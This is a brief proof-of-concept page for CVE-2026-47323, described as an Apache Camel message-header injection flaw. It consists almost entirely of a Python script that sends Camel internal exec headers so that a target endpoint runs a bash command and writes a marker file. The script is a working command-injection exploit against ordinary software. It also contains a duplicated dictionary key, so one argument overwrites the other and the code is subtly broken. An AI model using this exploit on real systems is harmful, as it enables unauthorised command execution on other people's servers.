CVE-2026-47323 Apache Camel消息头注入漏洞

import requests def exploit_cve_2026_47323(target_url): # Exploit: Injecting Camel internal header to execute commands # Target: camel-exec component listening on the endpoint headers = { "CamelExecCommandExecutable": "/bin/bash", "CamelExecCommandArgs": "-c", "CamelExecCommandArgs": "echo 'CVE-2026-47323 POC' > /tmp/pwned" } try: response = requests.get(target_url, headers=headers, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Potential command executed via header injection.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-camel-instance:8080/service/endpoint" exploit_cve_2026_47323(target)